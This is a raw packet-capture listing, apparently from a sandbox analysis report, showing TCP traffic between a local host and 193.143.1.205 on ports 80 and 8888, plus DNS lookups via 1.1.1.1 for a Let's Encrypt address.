Jan 10, 2025 23:32:02.925067902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925075054 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925081968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925092936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925105095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925117970 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925154924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925429106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925440073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925451994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925465107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925470114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925489902 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925506115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925524950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925538063 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925549030 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925569057 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925582886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925750971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925762892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925774097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925801039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925834894 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925843954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925856113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925868034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925875902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925904989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925909042 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.925918102 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.925971031 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.928822994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928905964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928921938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928935051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928947926 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.928950071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928968906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928970098 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.928980112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.928992033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929002047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929013968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929023027 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929025888 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929038048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929049969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929074049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929095984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929100037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929111004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929131031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929142952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929150105 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929153919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929166079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929198027 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929224968 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929378033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929426908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929442883 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929454088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929465055 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.929470062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.929491997 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.954736948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954756021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954766989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954777956 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954792023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954802990 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954811096 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.954814911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954854965 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.954864025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954874992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954885960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.954901934 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.979988098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980016947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980026960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980051041 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980051994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980065107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980076075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980086088 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980087996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980117083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980134964 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980174065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980210066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980220079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980243921 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980261087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980271101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980281115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980299950 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980324984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980457067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980472088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980483055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980494022 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980505943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980511904 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980516911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980529070 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980529070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980541945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.980565071 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.980577946 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.010550976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010564089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010574102 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010598898 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010611057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010622025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010638952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010639906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.010651112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.010703087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011008978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011019945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011037111 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011049032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011051893 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011059999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011071920 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011089087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011095047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011101007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011113882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011123896 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011137009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011147976 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011164904 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011181116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011190891 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011202097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011214972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011221886 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011257887 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011284113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011303902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011322021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011332989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011348009 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011354923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011367083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011377096 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011380911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011393070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011408091 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011425972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011439085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011451006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011461973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011498928 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011532068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011543989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011554956 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011569023 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011570930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011583090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011605024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011622906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011629105 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011636019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011647940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011663914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011668921 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011676073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011698008 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011719942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011734962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011760950 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011775017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011785984 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011811972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011883020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011894941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011905909 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011918068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011921883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011930943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011951923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011969090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011985064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.011986017 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.011997938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012027025 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012064934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012078047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012094975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012103081 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012106895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012120008 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012131929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012159109 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012192965 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012204885 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012217999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012229919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012240887 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012259007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012264013 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012270927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012296915 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012309074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012310028 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012347937 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012387991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012399912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012412071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012437105 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012453079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012465000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012475014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012487888 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012487888 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012509108 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012562037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012573004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012583971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012595892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012595892 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012614012 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012677908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012691021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012702942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012715101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012716055 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012727976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012739897 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012759924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012799978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012810946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012821913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012834072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012845993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.012856960 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.012886047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.018556118 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.041590929 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041605949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041619062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041693926 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.041723967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041738987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041749954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041759014 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.041763067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041775942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.041791916 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.041812897 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067106009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067126989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067156076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067176104 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067188025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067198992 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067208052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067219973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067230940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067238092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067243099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067255974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067266941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067281008 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067287922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067289114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067297935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067320108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067329884 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067342997 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067356110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067362070 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067370892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067410946 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067421913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067440987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067452908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067466974 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067470074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067483902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.067502975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.067526102 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.097758055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.097815990 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.097856045 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.097878933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.097891092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.097951889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.097961903 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098006010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098052025 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098061085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098098040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098133087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098144054 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098164082 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098221064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098231077 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098259926 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098294973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098304033 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098332882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098366976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098378897 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.098408937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.098453045 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.447839022 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.453358889 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.599740028 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.988779068 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.993629932 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:03.993729115 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.993901014 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:03.998682022 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:04.790271044 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:04.835536003 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:06.319286108 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:34:07.149246931 CET	64280	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:34:07.154015064 CET	53	64280	1.1.1.1	192.168.2.9
Jan 10, 2025 23:34:07.154110909 CET	64280	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:34:07.154146910 CET	64280	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:34:07.158855915 CET	53	64280	1.1.1.1	192.168.2.9
Jan 10, 2025 23:34:07.597765923 CET	53	64280	1.1.1.1	192.168.2.9
Jan 10, 2025 23:34:07.602580070 CET	64280	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:34:07.607661963 CET	53	64280	1.1.1.1	192.168.2.9
Jan 10, 2025 23:34:07.607731104 CET	64280	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:32:11.552635908 CET	61495	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:34:07.148669004 CET	53	54451	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:32:11.552635908 CET	192.168.2.9	1.1.1.1	0x196c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:32:11.560930014 CET	1.1.1.1	192.168.2.9	0x196c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
